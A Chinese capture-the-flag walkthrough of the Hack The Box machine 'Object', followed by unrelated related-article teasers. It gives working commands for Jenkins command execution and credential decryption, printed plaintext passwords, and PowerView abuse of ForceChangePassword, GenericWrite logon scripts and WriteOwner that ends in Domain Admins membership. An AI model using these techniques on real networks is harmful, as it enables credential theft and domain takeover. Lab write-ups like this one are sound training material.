【Hack The Box】windows练习-- Object

news2024/12/29 8:42:22

HTB 学习笔记

【Hack The Box】windows练习-- Object


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 我看80
    • 利用config.xml
    • ForceChangePassword
    • GenericWrite
        • 普遍方式
        • 在某些情况下也可以导致用户密码修改
        • GenericWrite在用户上更新他们的登录脚本
    • 表格信息查看
    • WriteOwner

在这里插入图片描述

信息收集

80/tcp   open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Mega Engines
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open  http    Jetty 9.4.43.v20210629
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Jetty(9.4.43.v20210629)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.99 seconds

web(两个),winrm,

我看80

有个自动化服务器
在这里插入图片描述在这里插入图片描述
所以我将添加这个域,但是因为没有展现出子域。我将爆破

wfuzz -u http://object.htb -H 'Host: FUZZ.object.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 29932

但是没有结果

在这里插入图片描述
所以可以证明存在admin用户,但是也没啥用,我们注册个正常的,看看前面说的那个自动化的是个什么东西

在这里插入图片描述

页面源码中没有version相关信息,那注册登陆进去应该会有控制板啥的,可以找找,但是没有对应的exp
在这里插入图片描述2.317
但是search并没有任何负荷的信息

在这里插入图片描述

然后保存之后我发现我找不到我需要的东西

接着我在主页面左侧的设置栏中似乎可以看到设置触发器
可以设置计划任务

![在这里插入图片描述](https://img-blog.csdnimg.cn/d1c70660623d4fd0981ae04535fb2714.png
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述鼠标放上去悬浮小箭头,发现可以执行命令,那就完事了,开始反弹shell就行
在这里插入图片描述
但是我建立smbshare的方法他报错了,显示无法连接,猜测可能是防火墙限制出站规则

我将新建一个项目去查看防火墙规则

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

步骤一致


Name                  : {D6399A8B-5E04-458F-AA68-62F64A4F1F43}
DisplayName           : BlockOutboundDC
Description           : 
DisplayGroup          : 
Group                 : 
Enabled               : True
Profile               : Any
Platform              : {}
Direction             : Outbound
Action                : Block
EdgeTraversalPolicy   : Block
LooseSourceMapping    : False
LocalOnlyMapping      : False
Owner                 : 
PrimaryStatus         : OK
Status                : The rule was parsed successfully from the store. (65536)
EnforcementStatus     : NotApplicable
PolicyStoreSource     : PersistentStore
PolicyStoreSourceType : Local

接着通过如下命令脚本
查看详细的防火墙策略

powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Enabled,Profile,
Direction,Action"

我将修正格式,防止换行符

回显如下
可以看到所有的端口都被搞了

DisplayName     Protocol LocalPort RemotePort RemoteAddress Enabled Profile Direction Action
-----------     -------- --------- ---------- ------------- ------- ------- --------- ------
BlockOutboundDC TCP      Any       Any        Any              True     Any  Outbound  Block

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
这样来寻找例外

但是一无所获

利用config.xml

这是一点点找出来的
每一次新建命令执行dir之类的

type …\users\admin_17207690984073220035\config.xml

<?xml version='1.1' encoding='UTF-8'?>
<user>
  <version>10</version>
  <id>admin</id>
  <fullName>admin</fullName>
  <properties>
    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
        <entry>
          <com.cloudbees.plugins.credentials.domains.Domain>
            <specifications/>
          </com.cloudbees.plugins.credentials.domains.Domain>
          <java.util.concurrent.CopyOnWriteArrayList>
            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
              <description></description>
              <username>oliver</username>
              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
              <usernameSecret>false</usernameSecret>
            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          </java.util.concurrent.CopyOnWriteArrayList>
        </entry>
      </domainCredentialsMap>
    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
    <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
      <triggers/>
    </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
    <hudson.model.MyViewsProperty>
      <views>
        <hudson.model.AllView>
          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
          <name>all</name>
          <filterExecutors>false</filterExecutors>
          <filterQueue>false</filterQueue>
          <properties class="hudson.model.View$PropertyList"/>
        </hudson.model.AllView>
      </views>
    </hudson.model.MyViewsProperty>
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
      <providerId>default</providerId>
    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
    <hudson.model.PaneStatusProperties>
      <collapsed/>
    </hudson.model.PaneStatusProperties>
    <jenkins.security.seed.UserSeedProperty>
      <seed>ea75b5bd80e4763e</seed>
    </jenkins.security.seed.UserSeedProperty>
    <hudson.search.UserSearchProperty>
      <insensitiveSearch>true</insensitiveSearch>
    </hudson.search.UserSearchProperty>
    <hudson.model.TimeZoneProperty/>
    <hudson.security.HudsonPrivateSecurityRealm_-Details>
      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
    </hudson.security.HudsonPrivateSecurityRealm_-Details>
    <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
      <emailAddress>admin@object.local</emailAddress>
    </hudson.tasks.Mailer_-UserProperty>
    <jenkins.security.ApiTokenProperty>
      <tokenStore>
        <tokenList/>
      </tokenStore>
    </jenkins.security.ApiTokenProperty>
    <jenkins.security.LastGrantedAuthoritiesProperty>
      <roles>
        <string>authenticated</string>
      </roles>
      <timestamp>1634793332195</timestamp>
    </jenkins.security.LastGrantedAuthoritiesProperty>
  </properties>
</user>

在这里插入图片描述里面有几个密码
bse64的和md5的

提取james的密码有两种方法,一种是script,但是我们无法访问,一般人都无法访问
一种就是从config.xml中提取

需要这么些个东西

config.xml
master.key
hudson.util.Secret

$JENKINS_HOME/credentials.xml
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml - Possible location

也是慢慢找,也可以用全局搜索,但是一般来说james目录下有secret,里面就是
一个是单纯的字符串,另一个是可执行文件,我们要对他编码

powershell -c cat ..\..\secrets\master.key 拿到本地校验一下
wc -c master.key 应该是256位

hudson.util.Secret是一个二进制文件,我们可以base64编码后再回来解码打开

powershell -c [convert]::ToBase64String((cat ..\..\secrets\hudson.util.Secret -Encoding byte)) 

在这里插入图片描述
在这里插入图片描述额。。。

用这个go文件的,py的不好用,会报错

https://github.com/hoto/jenkins-credentials-decryptor/releases/tag/1.2.0
执行如下
 ./jenkins-credentials-decryptor -m master.key -s hudson.util.Secret -c config.xml 

得到密码
c1cdfun_d2434

登陆

evil-winrm -i 10.10.11.132 -u oliver -p c1cdfun_d2434

在这里插入图片描述
我服了,bloodhound用不了
说是版本问题
去他们的
https://github.com/BloodHoundAD/SharpHound/releases
去这里下载1.0.3的exe

上传之后直接执行
.\sharphound.exe -c all

在这里插入图片描述

在这里插入图片描述
新版的blood也能识别,我用的1.0.3的exe,新版的bloodhound
没啥问题

先设置成已拥有用户

在这里插入图片描述然后设置这个
在这里插入图片描述
在这里插入图片描述
所以我们先改了smith的密码

ForceChangePassword

shell 作为 oliver,所以我不需要通过该凭证。

利用就这样,直接改掉smith的密码

upload PowerView.ps1
. .\PowerView.ps1
$newpass = ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $newpass

evil-winrm -i 10.129.15.97 -u smith -p '0xdf0xdf!'

在这里插入图片描述
在这里插入图片描述
然后把smith设置为拥有,刚才那个取消设置
然后再查看同样的信息

GenericWrite

普遍方式

我将向 maria(目标用户) 的帐户添加一个 SPN:
要利用 Kerberoast,我需要使用具有 有效格式 的 SPN
通常情况下
添加
Set-DomainObject -Identity maria -SET @{serviceprincipalname=‘nonexistent/0XDF’}
查看
Get-DomainUser maria | Select serviceprinciplename

可是这在这里却失败了

在某些情况下也可以导致用户密码修改

$newpass = ConvertTo-SecureString ‘0xdf0xdf!’ -AsPlainText -Force
Set-DomainUserPassword -Identity maria -AccountPassword $newpass
但这同样失败

GenericWrite在用户上更新他们的登录脚本

1. 导入模块
Import-Module .\PowerView.ps1
2. 本地监听验证
sudo tcpdump -ni tun0 icmp
3. 写入
echo "ping 10.10.14.12" > ping.ps1
4. 执行
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\ping.ps1"}

在这里插入图片描述

echo "ls \users\maria\ > \programdata\out" > cmd.ps1

Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\cmd.ps1"}

在这里插入图片描述注意到一个时间异常

d-r— 10/25/2021 10:07 PM Documents

echo "ls \users\maria\documents > \programdata\out; ls \users\maria\desktop\ > \programdata\out2" > cmd.ps1

在这里插入图片描述
在这里插入图片描述

echo "copy \users\maria\desktop\Engines.xls \programdata\" > cmd.ps1 
download C:\programdata\Engines.xls Engines.xls

表格信息查看

在这里插入图片描述

crackmapexec winrm 10.10.11.132 -u maria -p maria-pass

我将测试哪一个能登陆,当然手测也可以,反正就三个

evil-winrm -i 10.10.11.132 -u maria -p 'W3llcr4ft3d_4cls'

在这里插入图片描述

WriteOwner

这意味着 maria 可以更改组的所有者。

upload PowerView.ps1
Import-Module .\PowerView.ps1

1。 设置为组所有者
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'maria'

2. 给自己授予全部权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All

3. 把自己添加到dbadmin
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'maria'

net user maria

在这里插入图片描述
在这里插入图片描述
但是现在查看依旧我不在组中,这是因为一个常见问题,就是更新的问题
我们可以退出再进,如果还是不行那就没办法了,要重启,无限循环

在这里插入图片描述
我已经可以拿到root.txt了
完毕

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/14173.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

链表oj题(第一弹)

通过前两篇博客我们了解了链表的实现&#xff0c;那么今天我们来看看链表的oj题是如何完成的。 1、移除链表元素 题目要求我们删掉与val相同的节点。 方法一&#xff1a;我们可以写一个循环&#xff0c;首先创建两个节点&#xff0c;一个头节点&#xff0c;一个尾节点&#x…

Jmeter常用函数__V和__intSum

文章目录一、__V详解1、作用2、示例二、__intSum详解1、作用2、示例三、示例--随机用户名四、示例--随机对应的用户名和密码一、__V详解 1、作用 执行变量表达式&#xff0c;并返回执行的结果可以执行嵌套函数 2、示例 1、固定值和随机数组合 ${__V(1.${__Random(1,10,)})}…

[附源码]java毕业设计民宿客栈管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

[Python]Django 模型

&#x1f349; 前言 系列文章目录 [Python]目录 文章目录&#x1f349; 前言&#x1f349; Django 模型&#x1f349; 定义模型&#x1f95d; 语法&#x1f95d; 常用模型字段类型&#x1f951; AutoField&#x1f951; BooleanField&#x1f951; NullBooleanField&#x1f95…

【服务器搭建】教程二:快速搭建我们服务器 进来看

前言&#xff1a; 购买一台服务器&#xff0c;再来个域名&#xff0c;搭建一个自己的个人博客&#xff0c;把一些教程、源码、想要分享的好玩的放到博客上&#xff0c;供小伙伴学习玩耍使用。 我把这个过程记录下来&#xff0c;想要尝试的小伙伴&#xff0c;可以按照步骤&#…

Jmeter连接数据库_postgresql

文章目录一、下载驱动包&#xff08;.jar&#xff09;1. 下载对应的安装包2、放在Jmeter的lib目录下二、Jmeter中的操作1、测试计划2、JDBC Connection Configuration3、JDBC Request三、具体示例一、下载驱动包&#xff08;.jar&#xff09; 不同的数据区需要的驱动包不同&am…

Systemd Rsync 文件定时同步

1. 环境 操作系统&#xff1a;CentOS 7 主机&#xff1a; master 192.168.0.98backup 192.168.0.166 目标&#xff1a;每天凌晨3点从master 上/www增量的复制到backup上。 2. 配置主机的免密登录 在Backup上配置主机的免密登录,请参考 SSH 公钥免密登录[1] 3. Rsync 服…

一只程序猿很黄很暴力的日记

一些基础概念&#xff1a; Socket(s)&#xff1a;主板上面的物理 CPU 插槽。 Core(s)&#xff1a;一个 CPU 一般包含 2~4 个 core&#xff0c;即 Core(s) per socket。 Thread(s)&#xff1a;一个 core 包含多个可以并行处理任务的 thread&#xff0c;即 Thread(s) per core…

MySQL8.0优化 - SQL执行流程

文章目录学习资料SQL执行流程MySQL执行流程图查询流程1.查询缓存2.解析器3.优化器4.执行器学习资料 【MySQL数据库教程天花板&#xff0c;mysql安装到mysql高级&#xff0c;强&#xff01;硬&#xff01;-哔哩哔哩】 【阿里巴巴Java开发手册】https://www.w3cschool.cn/aliba…

每天学习一个css之linear-gradient

linear-gradient的使用 介绍 CSS linear-gradient() 函数用于创建一个表示两种或多种颜色线性渐变的图片。其结果属于<gradient>数据类型&#xff0c;是一种特别的<image>数据类型 语法 linear-gradient([ <angle> | to <side-or-corner> ,]? <…

使用Kubernetes部署Kubernetes集群

Kubernetes集群环境搭建 文章目录Kubernetes集群环境搭建一、环境初始化1、查看操作系统的版本2、主机名解析3、时钟同步4、禁用swap分区5、开启IP转发&#xff0c;和修改内核信息---三个节点都需要配置6、配置IPVS功能&#xff08;三个节点都做&#xff09;二、安装docker1、切…

【学习笔记】kafka学习二

生产者-同步消息发送 如果生产者发送消息没有收到ack&#xff0c;会阻塞到3s时间&#xff0c;如果还没收到消息&#xff0c;会重试&#xff0c;重试3次 生产者-异步消息发送&#xff08;缺点&#xff1a;消息丢失情况&#xff0c;同步更优&#xff09; 生产者发送消息后可以直…

脚本是什么意思?有什么特点?与RPA有哪些区别?

脚本是什么意思&#xff1f;有什么特点&#xff1f;与RPA有哪些区别&#xff1f;相信还有不少人对于这三个问题不是很清楚&#xff0c;今天我们小编就给大家来简单回答一下&#xff0c;仅供参考哦&#xff01; 脚本是什么意思&#xff1f; 脚本简单地说就是一条条的文字命令&a…

Linux系统如何重装Windows系统

背景 因为种种原因安装了Linux系统Ubuntu 18.04.6,随之迎来了种种麻烦&#xff0c;于是决定安装回Windows 10系统。 安装步骤如下&#xff1a; 安装步骤一、选择需要安装的系统二、查看CPU运行位数三、下载镜像&#xff08;换一台Windows系统或者使用虚拟机&#xff09;四、创建…

《FFmpeg Basics》中文版-04-调整和伸缩视频

正文 在FFmpeg中调整视频的大小意味着可以通过一个选项改变其宽度和高度&#xff0c;而缩放则意味着使用一个具有高级功能的scale filter来改变帧的大小。 调整视频 输出视频的宽度和高度可以在输出文件名之前设置-s选项。视频分辨率以wxh格式输入&#xff0c;其中w为像素宽…

驱动——ioctl数组及结构体传递

1、ioctl函数是用户程序来控制设备的函数 int ioctl(int fd, unsigned long request, ...); 函数功能&#xff1a;设备控制 参数&#xff1a; fd:文件描述符 request&#xff1a;请求码 ...:可变参数 需要传递地址 返回值&#xff1a;成功返回0&#xff0c;失败返回-1&a…

【ARXIV2207】LightViT: Towards Light-Weight Convolution-Free Vision Transformers

【ARXIV2207】LightViT: Towards Light-Weight Convolution-Free Vision Transformers 论文地址&#xff1a;https://arxiv.org/abs/2207.05557 代码地址&#xff1a;https://github.com/hunto/LightViT 1、研究动机 作者认为&#xff0c;在ViT中混合 convolution&#xff0c;…

高校部署房产管理系统前要认真做好那些基础工作?

高校部署数图互通房产管理系统的目的是为了在学校产权范围的基础上&#xff0c;确保开发工作的合理性、房产资源调配的科学性&#xff0c;强化房产资源的使用&#xff0c;切实将学校房产作用功能发挥出来。 一、在部署房产管理系统前期基础性工作包括&#xff1a; 1、摸清家底…

【C语言】-程序环境和预处理指令

文章目录前言1、翻译环境2、执行环境前言 1、翻译环境 我们的代码运行出来&#xff0c;变为我们人眼可以看到的结果的这个过程会经过两个过程。 一、程序的翻译环境&#xff1a;在这个环境中&#xff0c;源代码会变成可以执行的机器指令。这个过程就是把我们人能看懂的语言转换…

操作系统4小时速成:内存管理,程序执行过程,扩充内存,连续分配,非连续分配,虚拟内存,页面替换算法

操作系统4小时速成&#xff1a;内存管理&#xff0c;程序执行过程&#xff0c;扩充内存&#xff0c;连续分配&#xff0c;非连续分配&#xff0c;虚拟内存&#xff0c;页面替换算法 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&…